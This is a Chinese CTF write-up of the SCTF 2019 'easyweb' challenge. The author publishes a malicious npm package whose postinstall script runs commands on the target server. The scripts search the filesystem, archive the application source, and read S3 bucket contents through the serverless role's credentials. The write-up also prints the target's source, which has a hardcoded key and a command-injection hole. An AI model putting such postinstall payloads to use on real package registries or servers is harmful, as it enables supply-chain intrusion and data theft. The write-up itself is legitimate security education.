easyweb

发表于 2021-01-04 分类于 Challenge ， 2019 ， SCTF ， Web
Challenge | 2019 | SCTF | Web | easyweb

点击此处获得更好的阅读体验

题目考点

- *RCE点找寻（预期解）*
- *NPM 包特性（非预期解）*

解题思路

备注：这题做出来之后和出题人 l0ca1 师傅聊了聊，发现是有 RCE 点的，在传入包名那--不过到后面我这种蛇皮做法个人觉得反倒还方便些。以下我就写写自己的方法吧。

打开靶机，是这样一个页面。

看看源码，是 vue 写的。

看下 app.js，找出其中的接口。

分析文件，看到如下几个点

提示 `{"npm":["jquery","moment"]}`,其功能为下载 npm包打包之后提供二次下载。

提示 key 为 `abcdefghiklmn123`，接口地址 `/upload`。经过观察，测试，得到该接口的正确用法

然后参考这里自己来构造一个包，里面不需要有实际内容，主要利用 npm 包 package.json 里 script 段的 postinstall 配置，这种攻击在现实中也出现过。https://www.anquanke.com/post/id/85150构建步骤：

```
mkdir glzjintest1
cd glzjintest1
npm init1
```


新建一个 `index.js`，内容如下

```
exports.showMsg = function () {
  console.log("This is my first module");
};
```

编辑 `package.json`，

```
{
  "name": "glzjintest1",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "grep -rn 'sctf' / > result.txt; exit 0"
  },
  "author": "",
  "license": "ISC"
}
```

主要是改 `scripts`，`postinstall` 里面为你想执行的命令。这里我主要是想搜搜有没有 flag。

然后是推送包到 npmjs，

```
npm login
npm publish
```


然后请求靶机，让其下载这个包。

我们把返回的 URL 所指向的压缩包下载下来解压看看，可以看到我们的命令执行结果。没找到像 flag 的文件。 似乎 `/var/task` 是程序所在目录，打个包下下来看看。继续修改 package.json，版本升级下，推包。

```
{
  "name": "glzjintest1",
  "version": "1.0.3",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "tar cvzf result.tar.gz /var/task/; exit 0"
  },
  "author": "",
  "license": "ISC"
}
```

然后继续让靶机下载咱们这个包。

解压 result.tar.gz

审计源码 index.js

```
const koa = require("koa");
const AWS = require("aws-sdk");
const bodyparser = require('koa-bodyparser');
const Router = require('koa-router');
const async = require("async");
const archiver = require('archiver');
const fs = require("fs");
const cp = require("child_process");
const mount = require("koa-mount");
const cfg = {
    "Bucket":"static.l0ca1.xyz",
    "host":"static.l0ca1.xyz",
}
function getRandomStr(len) {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var i = 0; i < len; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
};
function zip(archive, output, nodeModules) {
    const field_name = getRandomStr(20);
    fs.mkdirSync(`/tmp/${field_name}`);
    archive.pipe(output);
    return new Promise((res, rej) => {
        async.mapLimit(nodeModules, 10, (i, c) => {
            process.chdir(`/tmp/${field_name}`);
            console.log(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`);
            cp.exec(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`, (error, stdout, stderr) => {
                if (error) {
                    c(null, error);
                } else {
                    c(null, stdout);
                }
            });
        }, (error, results) => {
            archive.directory(`/tmp/${field_name}/`, false);
            archive.finalize();
        });
        output.on('close', function () {
            cp.exec(`rm -rf /tmp/${field_name}`, () => {
                res("");
            });
        });
        archive.on("error", (e) => {
            cp.exec(`rm -rf /tmp/${field_name}`, () => {
                rej(e);
            });
        });
    });
}
const s3Parme = {
    // accessKeyId:"xxxxxxxxxxxxxxxx",
    // secretAccessKey:"xxxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
const app = new koa();
const router = new Router();
app.use(bodyparser());
app.use(mount('/static',require('koa-static')(require('path').join(__dirname,'./static'))));
router.get("/", async (ctx) => {
    return new Promise((resolve, reject) => {
        fs.readFile(require('path').join(__dirname, './static/index.html'), (err, data) => {
            if (err) {
                ctx.throw("系统发生错误,请重试");
                return;
            };
            ctx.type = 'text/html';
            ctx.body = data.toString();
            resolve();
        });
    });
})
.post("/login",async(ctx)=>{
    if(!ctx.request.body.email || !ctx.request.body.password){
        ctx.throw(400,"参数错误");
        return;
    }
    ctx.body = {isUser:false,message:"用户名或密码错误"};
    return;
})
```

```
.post("/upload", async (ctx) => {
    const parme = ctx.request.body;
    const nodeModules = parme.npm;
    const key = parme.key;
    if(typeof key == "undefined" || key!="abcdefghiklmn123"){
        ctx.throw(403,"请求失败");
        return;
    }
    if (typeof nodeModules == "undefined") {
        ctx.throw(400, "JSON 格式错误");
        return;
    }
    const zipFileName = `${getRandomStr(20)}.zip`;
    var output = fs.createWriteStream(`/tmp/${zipFileName}`, { flags: "w" });
    var archive = archiver('zip', {
        zlib: { level: 9 },
    });
    try {
        await zip(archive, output, nodeModules);
    } catch (e) {
        console.log(e);
        ctx.throw(400,"系统发生错误,请重试");
        return;
    }
    const zipBuffer = fs.readFileSync(`/tmp/${zipFileName}`);
    const data = await s3.upload({ Bucket: cfg.Bucket, Key: `node_modules/${zipFileName}`, Body: zipBuffer ,ACL:"public-read"}).promise().catch(e=>{
        console.log(e);
        ctx.throw(400,"系统发生错误,请重试");
        return;
    });
    ctx.body = {url:`http://${cfg.host}/node_modules/${zipFileName}`};
    cp.execSync(`rm -f /tmp/${zipFileName}`);
    return;
})
app.use(router.routes());
if (process.env && process.env.AWS_REGION) {
    require("dns").setServers(['8.8.8.8','8.8.4.4']);
    const serverless = require('serverless-http');
    module.exports.handler = serverless(app, {
        binary: ['image/*', 'image/png', 'image/jpeg']
    });
}else{
    app.listen(3000,()=>{
        console.log(`listening 3000......`);
    });
}
```

可以看到包是存在 亚马逊 s3 上的，而且在最后几行可以看出这个程序似乎是跑在亚马逊的 serverless 服务上的。 那么就来写个 nodejs 看看 s3 的 bucket 里有啥吧，把我们的包改下。 package.json 改为如下内容，版本升级，依赖加上，命令执行上。

```
{
  "name": "glzjintest1",
  "version": "1.0.7",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "cp index.js ../../test.js && cd ../../ && node test.js > result.txt; exit 0"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "aws-sdk": "^2.449.0"
  }
}
```

命令那里我复制到上上级——为了不重复下载依赖--使得包太大。index.js 改为如下内容：

```
const AWS = require("aws-sdk");
const s3Parme = {
    // accessKeyId:"xxxxxxxxxxxxxxx",
    // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
// Create the parameters for calling listObjects
var bucketParams = {
  Bucket : 'static.l0ca1.xyz',
};
// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
  if (err) {
    console.log("Error", err);
  } else {
    console.log("Success", data);
  }
});
exports.showMsg = function () {
  console.log("This is my first module");
};
```

读出 s3 里存的东西，从 serverless 里连接是不需要凭证的。然后让靶机下载这个包。

解压，看到开头有个 flag 文件。

继续更改 package.json，提升版本。

```
{
  "name": "glzjintest1",
  "version": "1.1.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "cp index.js ../../test.js && cd ../../ && node test.js > result.txt; exit 0"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "aws-sdk": "^2.449.0"
  }
}
```

然后修改 index.js，为其添加读取这个 flag 文件的代码。

```
const AWS = require("aws-sdk");
const s3Parme = {
    // accessKeyId:"xxxxxxxxxxxxxxx",
    // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
// Create the parameters for calling listObjects
var bucketParams = {
  Bucket : 'static.l0ca1.xyz',
};
// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
  if (err) {
    console.log("Error", err);
  } else {
    console.log("Success", data);
  }
});
var fileParam = {
  Bucket : 'static.l0ca1.xyz',
  Key: 'flaaaaaaaaag/flaaaag.txt'
};
s3.getObject(fileParam, function(err, data) {
  if (err) console.log(err, err.stack); // an error occurred
  else     console.log(data);           // successful response
});
exports.showMsg = function () {
  console.log("This is my first module");
};
```

推包，让靶机下载。

下载回来，解压，得到文件内容。

解码下就是 flag。

- **本文作者：** CTFHub
- **本文链接：** https://writeup.ctfhub.com/Challenge/2019/SCTF/Web/5YJAHo8eWAUJKaBGWzEmzc.html
- **版权声明：** 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

Challenge # Web # 2019 # SCTF
babyEoP
flag shop